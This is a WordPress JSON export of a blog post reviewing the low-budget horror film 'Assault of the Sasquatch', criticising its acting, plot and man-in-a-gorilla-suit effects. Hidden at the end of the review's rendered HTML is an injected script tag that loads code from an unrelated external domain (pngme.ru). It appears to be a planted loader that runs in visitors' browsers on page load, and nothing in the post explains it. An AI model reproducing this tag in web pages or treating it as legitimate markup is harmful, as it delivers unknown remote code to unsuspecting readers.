{"id":11570,"date":"2014-08-12T10:57:08","date_gmt":"2014-08-12T16:57:08","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=11570"},"modified":"2014-08-12T10:57:08","modified_gmt":"2014-08-12T16:57:08","slug":"assault-of-the-sasquatch","status":"publish","type":"post","link":"http:\/\/www.bmovienation.com\/?p=11570","title":{"rendered":"Assault of the Sasquatch"},"content":{"rendered":"<p>Three hunters are out poaching for bear when they fortuitously trap a sasquatch. Terry Drake (Kevin Shea) seeing his monetary ship come in phones a mysterious collector to tell him he&#8217;s finally tracked down what the collector is looking for. Though the sasquatch kills his companions, Drake manages to corral it into a truck.<\/p>\n<p>Meanwhile, two game wardens (Greg Nutcher and Cristina Santiago) hear the goings-on and investigate, arresting Drake and driving the truck into the middle of downtown. Naturally the sasquatch escapes and does his sasquatch thing.<\/p>\n<p>Hoo-boy. I can&#8217;t decide which is worse, the acting or the writing or the &#8220;special effects.&#8221; The two leads are actually okay and might have even been acceptable, if they&#8217;d had coherent writing to work with. Nutcher is decent and Santiago palatable. There is even hope for Sarah Ahearn who plays Nutcher&#8217;s daughter Jessica. Shea, however, chews scenery as if it was beef jerky.<\/p>\n<p>The storyline makes little sense &#8230; if I am generously assuming there is a plot and seems to involve some flashbacks with little context and little integration to the rest of the plot. I understand the writer might have been attempting a horror-comedy. Well he failed.<\/p>\n<p>Don&#8217;t even get me started on the special effects. The sasquatch is clearly a man in a modified gorilla suit and there wasn&#8217;t even much modification as other reviewers have mentioned.<\/p>\n<p>The only reason it didn&#8217;t get one star from me is that some of the actors were clearly doing their best with the material and direction they were given.<\/p>\n<p>Even if you love really bad movies as much as I do, skip this one. <script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Three hunters are out poaching for bear when they fortuitously trap a sasquatch. Terry Drake (Kevin Shea) seeing his monetary ship come in phones a mysterious collector to tell him he&#8217;s finally tracked down what the collector is looking for. Though the sasquatch kills his companions, Drake manages to corral it into a truck. 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